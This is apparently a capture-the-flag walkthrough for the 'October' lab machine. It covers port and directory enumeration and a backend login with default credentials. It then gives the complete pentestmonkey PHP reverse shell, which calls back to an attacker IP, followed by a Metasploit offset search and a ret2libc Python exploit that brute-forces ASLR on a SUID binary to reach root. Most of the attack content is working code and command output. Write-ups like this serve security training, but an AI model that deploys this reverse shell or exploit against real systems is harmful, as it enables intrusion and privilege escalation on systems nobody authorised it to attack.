October is a slightly difficult box. An attacker needs to apply some advanced techniques to gain root access. The complexity sits in identifying a buffer overflow and exploiting it with the tools available on a Linux system.
Perform a nmap scan of the system
# cat nmap_october.txt
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-05 17:13 EST
Nmap scan report for 10.10.10.16
Host is up (0.083s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 79:b1:35:b6:d1:25:12:a3:0c:b5:2e:36:9c:33:26:28 (DSA)
| 2048 16:08:68:51:d1:7b:07:5a:34:66:0d:4c:d0:25:56:f5 (RSA)
| 256 e3:97:a7:92:23:72:bf:1d:09:88:85:b6:6c:17:4e:85 (ECDSA)
|_ 256 89:85:90:98:20:bf:03:5d:35:7f:4a:a9:e1:1b:65:31 (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
| http-methods:
|_ Potentially risky methods: PUT PATCH DELETE
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: October CMS - Vanilla
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.16 (92%), Linux 3.16 - 4.6 (92%), Linux 3.18 (92%), Linux 3.2 - 4.9 (92%), Linux 4.2 (92%), Linux 4.4 (92%), Linux 3.12 (90%), Linux 3.13 (90%), Linux 3.13 or 4.2 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 83.94 ms 10.10.14.1
2 83.87 ms 10.10.10.16
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.73 seconds
Folder backend contains a login form as well as a password reset form that can help enumerate users. It responds whenever a known user is entered
# dirb http://10.10.10.16
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sun Jan 5 17:20:49 2020
URL_BASE: http://10.10.10.16/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.10.16/ ----
+ http://10.10.10.16/account (CODE:200|SIZE:5089)
+ http://10.10.10.16/backend (CODE:302|SIZE:400)
+ http://10.10.10.16/blog (CODE:200|SIZE:4255)
+ http://10.10.10.16/Blog (CODE:200|SIZE:4253)
==> DIRECTORY: http://10.10.10.16/config/
+ http://10.10.10.16/error (CODE:200|SIZE:3343)
+ http://10.10.10.16/forgot-password (CODE:200|SIZE:3840)
+ http://10.10.10.16/forum (CODE:200|SIZE:9588)
+ http://10.10.10.16/index.php (CODE:200|SIZE:5162)
==> DIRECTORY: http://10.10.10.16/modules/
==> DIRECTORY: http://10.10.10.16/plugins/
+ http://10.10.10.16/server-status (CODE:403|SIZE:291)
==> DIRECTORY: http://10.10.10.16/storage/
==> DIRECTORY: http://10.10.10.16/tests/
==> DIRECTORY: http://10.10.10.16/themes/
==> DIRECTORY: http://10.10.10.16/vendor/
---- Entering directory: http://10.10.10.16/config/ ----
Log into the backend at http://10.10.10.16/backend using credentials admin/admin indicated by the riddle
Upload a reverse shell via Media screen
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. The author accepts no liability
// for damage caused by this tool. If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.29'; // CHANGE THIS
$port = 8888; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
Listen on port 8888 and execute the reverse shell by browsing to 10.10.10.16/storage/app/media/mb.php5
A limited shell will be made available
Spawn an interactive shell using
python -c 'import pty;pty.spawn("/bin/bash")'
user flag is visible
$ cat user.txt
29161ca87aa3d34929dc46efc40c89c0
Running LinEnum.sh reveals file /usr/local/bin/ovrflw with SUID set
SUID (Set owner User ID up on execution) is a special type of file permissions given to a file. Normally in Linux/Unix when a program runs, it inherit’s access permissions from the logged in user. SUID is defined as giving temporary permissions to a user to run a program/file with the permissions of the file owner rather that the user who runs it. In simple words users will get file owner’s permissions as well as owner UID and GID when executing a file/program/command.
-e \e[00;31m[-] SUID files:\e[00m
-rwsr-xr-x 1 root root 67704 Nov 24 2016 /bin/umount
-rwsr-xr-x 1 root root 38932 May 8 2014 /bin/ping
-rwsr-xr-x 1 root root 30112 May 15 2015 /bin/fusermount
-rwsr-xr-x 1 root root 35300 May 17 2017 /bin/su
-rwsr-xr-x 1 root root 43316 May 8 2014 /bin/ping6
-rwsr-xr-x 1 root root 88752 Nov 24 2016 /bin/mount
-rwsr-xr-x 1 root root 5480 Mar 27 2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 492972 Aug 11 2016 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 9808 Nov 24 2015 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-- 1 root messagebus 333952 Dec 7 2016 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 156708 Oct 14 2016 /usr/bin/sudo
-rwsr-xr-x 1 root root 30984 May 17 2017 /usr/bin/newgrp
-rwsr-xr-x 1 root root 18168 Nov 24 2015 /usr/bin/pkexec
-rwsr-xr-x 1 root root 45420 May 17 2017 /usr/bin/passwd
-rwsr-xr-x 1 root root 44620 May 17 2017 /usr/bin/chfn
-rwsr-xr-x 1 root root 66284 May 17 2017 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 18136 May 8 2014 /usr/bin/traceroute6.iputils
-rwsr-xr-x 1 root root 72860 Oct 21 2013 /usr/bin/mtr
-rwsr-xr-x 1 root root 35916 May 17 2017 /usr/bin/chsh
-rwsr-sr-x 1 daemon daemon 46652 Oct 21 2013 /usr/bin/at
-rwsr-xr-- 1 root dip 323000 Apr 21 2015 /usr/sbin/pppd
-rwsr-sr-x 1 libuuid libuuid 17996 Nov 24 2016 /usr/sbin/uuidd
-rwsr-xr-x 1 root root 7377 Apr 21 2017 /
SUID set is visible from the file listing
ls -ltr /usr/local/bin/ovrflw
-rwsr-xr-x 1 root root 7377 Apr 21 2017 /usr/local/bin/ovrfl
As the name suggests, let’s try to apply buffer overflow to file overfl
Interesting to follow to get a better grasp of reverse engineering a program
https://www.begin.re/the-workshop
Analyzing the file
Program is run by providing a string as argument
$ usr/local/bin/ovrflw
usr/local/bin/ovrflw
Syntax: usr/local/bin/ovrflw <input string>
Given a long enough input, file crashes with Segmentation fault error
www-data@october:/$ usr/local/bin/ovrflw `python -c "print('A')*500"`
usr/local/bin/ovrflw `python -c "print('A')*500"`
Segmentation fault (core dumped)
File is 32 bit
$ file usr/local/bin/ovrflw
file usr/local/bin/ovrflw
usr/local/bin/ovrflw: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=004cdf754281f7f7a05452ea6eaf1ee9014f07da, not stripped
Address space layout randomization (ASLR) is a computer security technique involved in preventing exploitation of memory corruption vulnerabilities.
Let’s find out if it’s enabled on the system
www-data@october:/$ cat /proc/sys/kernel/randomize_va_space
2
alternative
www-data@october:/$ for i in `seq 0 20` ; do ldd usr/local/bin/ovrflw | grep libc ; done
<n `seq 0 20` ; do ldd usr/local/bin/ovrflw | grep libc ; done
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb757c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75c7000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75aa000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75c3000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb759f000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7583000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75c1000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7582000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb762b000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7610000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7589000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7611000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7592000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb755d000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75ae000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75c9000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb757a000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7636000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75e9000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7629000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75ec000)
Create a pattern of length 200
# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
generate a pattern of length 200 so that we are sure it will result in buffer overflow
# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
run gdb on the program and pass the pattern
gdb -q ----- quiet
break *main+48 ----- set a break on address *main+48
r – run with an argument
i r ----- info registers shows all the registers
$ gdb -q usr/local/bin/ovrflw
gdb -q usr/local/bin/ovrflw
Reading symbols from usr/local/bin/ovrflw...(no debugging symbols found)...done.
(gdb) break *main+48
break *main+48
Breakpoint 1 at 0x80484ad
(gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
<7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
Starting program: /usr/local/bin/ovrflw Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
Breakpoint 1, 0x080484ad in main ()
(gdb) i r
i r
eax 0x2 2
ecx 0xbe84932b -1098607829
edx 0xbfde4dd4 -1075950124
ebx 0xb76e6000 -1217503232
esp 0xbfde4d20 0xbfde4d20
ebp 0xbfde4da8 0xbfde4da8
esi 0x0 0
edi 0x0 0
eip 0x80484ad 0x80484ad <main+48>
eflags 0x202 [ IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb)
(gdb) c
c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x64413764 in ?? ()
we notice EIP is overwritten with 0x64413764. Pass the value to pattern_offset.rb and we receive a value of 112.
We need to pass 112 characters and then pass the address of the instructions we want to be executed
# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x64413764
[*] Exact match at offset 112
The executable has been compiled with data execution prevention. IT marks areas of memory that cannot execure code, and one happens to be the stack. This prevents us from performing a classic buffer overflow as if we return into our buffer, the code with thrown an error.
We need to use a technique called ret2libc. Instead of overwriting EIP with the address of our buffer, we’ll just put the address of a function in the C library, such as system, which we’ll use to call bin/sh and give us a root shell
First, find the offset of the system function in libc
$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
243: 0011b710 73 FUNC GLOBAL DEFAULT 12 svcerr_systemerr@@GLIBC_2.0
620: 00040310 56 FUNC GLOBAL DEFAULT 12 __libc_system@@GLIBC_PRIVATE
1443: 00040310 56 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0
www-data@october:/$
Find the offset of the exit function
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep 'exit'
111: 00033690 58 FUNC GLOBAL DEFAULT 12 __cxa_at_quick_exit@@GLIBC_2.10
139: 00033260 45 FUNC GLOBAL DEFAULT 12 exit@@GLIBC_2.0
446: 000336d0 268 FUNC GLOBAL DEFAULT 12 __cxa_thread_atexit_impl@@GLIBC_2.18
554: 000b84f4 24 FUNC GLOBAL DEFAULT 12 _exit@@GLIBC_2.0
609: 0011e5f0 56 FUNC GLOBAL DEFAULT 12 svc_exit@@GLIBC_2.0
645: 00033660 45 FUNC GLOBAL DEFAULT 12 quick_exit@@GLIBC_2.10
868: 00033490 84 FUNC GLOBAL DEFAULT 12 __cxa_atexit@@GLIBC_2.1.3
1037: 00128b50 60 FUNC GLOBAL DEFAULT 12 atexit@GLIBC_2.0
1380: 001ac204 4 OBJECT GLOBAL DEFAULT 31 argp_err_exit_status@@GLIBC_2.1
1492: 000fb480 62 FUNC GLOBAL DEFAULT 12 pthread_exit@@GLIBC_2.0
2090: 001ac154 4 OBJECT GLOBAL DEFAULT 31 obstack_exit_failure@@GLIBC_2.0
2243: 00033290 77 FUNC WEAK DEFAULT 12 on_exit@@GLIBC_2.0
2386: 000fbff0 2 FUNC GLOBAL DEFAULT 12 __cyg_profile_func_exit@@GLIBC_2.2
Find the location of a /bin/sh string
$ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
< -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
162bac /bin/sh
get memory location of libc.so.6
$ ldd /usr/local/bin/ovrflw | grep libc
ldd /usr/local/bin/ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7554000)
As seen in the beginning file has Address space layout randomization enabled. This means one byte of information changes each time. In effect, there are 256 possible starting memory locations which we will bruteforce.
Exploit
import struct
from subprocess import call
#We need to find the libc offset, but since it's going to be aslr'd
#we therefore have to get the base address of libc.so
#and then the offset of system and exit from libc start will remain constant
#Note this is for my local machine
#libc start address only varies by two bytes so 256 possible addresses
libcstart = 0xb7554000 #Guess this and hope it hits it again ldd ovrflw | grep libc
libcsystem_off = 0x00040310 # from the output of readelf..|grep system
libcexit_off = 0x00033260 # from the output of readelf..|grep 'exit'
#readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
system = libcstart + libcsystem_off
exit = libcstart + libcexit_off
sh_offset = 0x162bac #offsetof /bin/sh followed by null byte
sh = libcstart + sh_offset
#strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
def conv(num):
return struct.pack("<I", num)
buf = "A"*112 + conv(system) + conv(exit) + conv(sh)
i=0
while i < 256:
print i
i += 1
ret = call(["/usr/local/bin/ovrflw", buf])
Create the file locally, spawn a websever, get the file on the October host
cat root.txt
6bcb9cff749c9318d2a6e71bbcf30318
#
#
# whoami
whoami
root